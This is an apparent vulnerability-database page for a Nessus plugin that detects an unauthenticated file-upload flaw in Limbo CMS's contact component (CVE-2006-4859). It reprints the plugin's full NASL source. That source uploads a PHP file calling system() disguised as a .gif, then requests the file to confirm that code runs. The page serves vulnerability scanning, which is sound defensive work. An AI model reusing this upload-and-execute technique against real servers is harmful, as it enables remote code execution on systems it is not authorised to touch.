Limbo Contact Component (com_contact) contact.html.php contact_attach Unrestricted File Upload - Nessus

High Plugin ID: 22367

This page contains detailed information about the Limbo Contact Component (com_contact) contact.html.php contact_attach Unrestricted File Upload Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents

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Plugin Overview
Vulnerability Information

Synopsis
Description
Solution

Public Exploits
Risk Information
Plugin Source
How to Run
References
Version

Plugin Overview

ID: 22367
Name: Limbo Contact Component (com_contact) contact.html.php contact_attach Unrestricted File Upload
Filename: limbo_com_contact_file_upload.nasl
Vulnerability Published: 2006-09-16
This Plugin Published: 2006-09-16
Last Modification Time: 2022-04-11
Plugin Version: 1.25
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: http_version.nasl
Required KB Items [?]: www/PHP
Excluded KB Items: Settings/disable_cgi_scanning

Vulnerability Information

Severity: High
Vulnerability Published: 2006-09-16
Patch Published: N/A
CVE [?]: CVE-2006-4859
CPE [?]: N/A

Synopsis

The remote web server contains a PHP application that allows uploading of arbitrary files.

Description

The remote host is running Limbo CMS, a content-management system written in PHP.

The 'com_contact' component of the version of Limbo installed on the remote host allows an unauthenticated, remote attacker to upload arbitrary files to a known directory within the web server's document root. Provided PHP's 'file_uploads' setting is enabled, which is true by default, this flaw can be exploited to execute arbitrary code on the affected host, subject to the privileges of the web server user id.

Solution

Unknown at this time.

Public Exploits

Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Exploit-DB)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Limbo Contact Component (com_contact) contact.html.php contact_attach Unrestricted File Upload vulnerability:

Exploit-DB: exploits/php/webapps/2370.php
[EDB-2370: Limbo CMS 1.0.4.2L - 'com_contact' Remote Code Execution]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:F/RL:U/RC:ND

CVSS Base Score:	7.5 (High)
Impact Subscore:	6.4
Exploitability Subscore:	10.0
CVSS Temporal Score:	7.1 (High)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	7.1 (High)

CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:F/RL:U/RC:X

CVSS Base Score:	8.8 (High)
Impact Subscore:	5.9
Exploitability Subscore:	2.8
CVSS Temporal Score:	8.6 (High)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	8.6 (High)

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Plugin Source

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(22367);
  script_version("1.25");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2006-4859");
  script_bugtraq_id(20044);
  script_xref(name:"EDB-ID", value:"2370");

  script_name(english:"Limbo Contact Component (com_contact) contact.html.php contact_attach Unrestricted File Upload");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that allows uploading
of arbitrary files.");
  script_set_attribute(attribute:"description", value:
"The remote host is running Limbo CMS, a content-management system
written in PHP. 

The 'com_contact' component of the version of Limbo installed on the
remote host allows an unauthenticated, remote attacker to upload
arbitrary files to a known directory within the web server's document
root.  Provided PHP's 'file_uploads' setting is enabled, which is true
by default, this flaw can be exploited to execute arbitrary code on
the affected host, subject to the privileges of the web server user
id.");
  script_set_attribute(attribute:"solution", value:
"Unknown at this time.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:U/RC:ND");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:U/RC:X");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2006/09/16");
  script_set_attribute(attribute:"plugin_publication_date", value:"2006/09/16");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2006-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl");
  script_require_keys("www/PHP");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");

port = get_http_port(default:80, embedded: 0, php: 1);

# Loop through directories.
if (thorough_tests) dirs = list_uniq(make_list("/limbo", cgi_dirs()));
else dirs = make_list(cgi_dirs());

foreach dir (dirs)
{
  # Grab index.php.
  res = http_get_cache(item:string(dir, "/index.php"), port:port, exit_on_fail: 1);

  # Grab an item id.
  pat = '&amp;Itemid=([0-9]+)" class=';
  matches = egrep(pattern:pat, string:res);
  item_id = NULL;
  if (matches) {
    foreach match (split(matches)) {
      match = chomp(match);
      item_id = eregmatch(pattern:pat, string:match);
      if (!isnull(item_id)) {
        item_id = item_id[1];
        break;
      }
    }
  }

  # If we have one...
  if (!isnull(item_id))
  {
    # Try to exploit the flaw to upload a file that will run a command.
    cmd = "id";
    fname = string("nessus-", unixtime(), ".gif.php");
    bound = "bound";
    boundary = string("--", bound);
    postdata = string(
      boundary, "\r\n", 
      'Content-Disposition: form-data; name="contact_name";', "\r\n",
      "\r\n",
      SCRIPT_NAME, "\r\n",

      boundary, "\r\n", 
      'Content-Disposition: form-data; name="contact_email";', "\r\n",
      "\r\n",
      "nessus@", compat::this_host(), "\r\n",

      boundary, "\r\n", 
      'Content-Disposition: form-data; name="contact_subject";', "\r\n",
      "\r\n",
      "Test of ", SCRIPT_NAME, "\r\n",

      boundary, "\r\n", 
      'Content-Disposition: form-data; name="contact_text";', "\r\n",
      "\r\n",
      "Test of ", SCRIPT_NAME, "\r\n",

      boundary, "\r\n", 
      'Content-Disposition: form-data; name="task";', "\r\n",
      "\r\n",
      "post\r\n",

      boundary, "\r\n", 
      'Content-Disposition: form-data; name="send";', "\r\n",
      "\r\n",
      "Send\r\n",

      boundary, "\r\n",
      'Content-Disposition: form-data; name="contact_attach"; filename="', fname, '";', "\r\n",
      "Content-Type: image/gif;\r\n",
      "\r\n",
      '<?php\r\n',
      'system(', cmd, ');\r\n',
      '?>\r\n',
      '\r\n',

      boundary, "--", "\r\n"
    );
    w = http_send_recv3(method:"POST", port: port,
      item: strcat(dir, "/index.php?option=contact&Itemid=", item_id),
      content_type: "multipart/form-data; boundary="+bound,
      exit_on_fail: 1, data: postdata);

    # Now call the file we just uploaded.
    w = http_send_recv3(method:"GET", item:string(dir, "/images/contact/", fname), port:port, exit_on_fail: 1);
    res = w[2];

    line = egrep(pattern:"uid=[0-9]+.*gid=[0-9]+.*", string:res);
    if (line)
    {
      if (report_verbosity < 1) security_hole(port);
      else
      {
        report = string(
          "\n",
          "Nessus was able to execute the command 'id' on the remote host,\n",
          "which produced the following output :\n",
          "\n",
          data_protection::sanitize_uid(output:line)
        );
        security_hole(port:port, extra:report);
      }

      exit(0);
    }
  }
}

The latest version of this script can be found in these locations depending on your platform:

Linux / Unix:
/opt/nessus/lib/nessus/plugins/limbo_com_contact_file_upload.nasl
Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\limbo_com_contact_file_upload.nasl
Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/limbo_com_contact_file_upload.nasl

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How to Run

Here is how to run the Limbo Contact Component (com_contact) contact.html.php contact_attach Unrestricted File Upload as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

Click to start a New Scan.
Select Advanced Scan.
Navigate to the Plugins tab.
On the top right corner click to Disable All plugins.
On the left side table select CGI abuses plugin family.
On the right side table select Limbo Contact Component (com_contact) contact.html.php contact_attach Unrestricted File Upload plugin ID 22367.
Specify the target on the Settings tab and click to Save the scan.
Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl limbo_com_contact_file_upload.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a limbo_com_contact_file_upload.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - limbo_com_contact_file_upload.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state limbo_com_contact_file_upload.nasl -t <IP/HOST>

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References

BID | SecurityFocus Bugtraq ID:

20044

See also:

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Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file limbo_com_contact_file_upload.nasl version 1.25. For more plugins, visit the Nessus Plugin Library.

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Limbo Contact Component (com_contact) contact.html.php contact_attach Unrestricted File Upload - Nessus

Plugin Overview

Vulnerability Information

Synopsis

Description

Solution

Public Exploits

Risk Information

Plugin Source

How to Run

References

Version

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